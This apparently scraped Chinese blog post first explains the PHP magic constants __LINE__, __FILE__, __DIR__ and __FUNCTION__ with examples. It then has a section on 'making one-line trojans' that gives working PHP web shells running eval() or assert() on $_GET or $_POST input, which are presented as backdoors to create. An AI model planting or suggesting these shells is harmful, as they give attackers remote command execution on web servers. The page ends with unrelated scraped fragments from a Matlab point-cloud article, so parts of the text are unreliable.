一.PHP 魔术常量
__LINE__ 的值就依赖于它在脚本中所处的行来决定。这些特殊的常量不区分大小写
1.__LINE__
文件中的当前行号
<?php echo '这是第 " ' . __LINE__ . ' " 行';
以上实例输出结果为:这是第 “ 2 ” 行
2.__FILE__
文件的完整路径和文件名
<?php echo '该文件位于 " ' . __FILE__ . ' " '; ?>
以上实例输出结果为:该文件位于 “ E:\wamp\www\test\index.php ”
3.__DIR__
文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录。
它等价于 dirname(__FILE__)。除非是根目录,否则目录中名不包括末尾的斜杠。
<?php echo '该文件位于 " ' . __DIR__ . ' " '; ?>
以上实例输出结果为:该文件位于 “ E:\wamp\www\test ”
4.__FUNCTION__
函数名称(PHP 4.3.0 新加)。自 PHP 5 起本常量返回该函数被定义时的名字(区分大小写)
<?php function test() {
echo '函数名为:' . __FUNCTION__ ; }
test();
?>
以上实例输出结果为:函数名为:test
二 一句话制作木马
1.$_GET
<?php
@eval ($_GET['cmd']);
?>

2.$_POST
<?php
@eval ($_POST['cmd']);
?>

3.<?php
@assert ($_POST['cmd']);
?>

4.include
<?php
include 'jhs.php';
?>

<?php
phpinfo();
?>

本文介绍了PHP的四个魔术常量__LINE__, __FILE__, __DIR__, 和 __FUNCTION__的功能和使用示例。同时,讨论了利用$_GET, $_POST和include命令可能存在的安全风险,如通过eval和assert执行恶意代码。"
124311987,9354391,使用Matlab的文件选择对话框加载3D点云,"['计算机视觉', '3d', 'matlab']

4023

被折叠的 条评论
为什么被折叠?



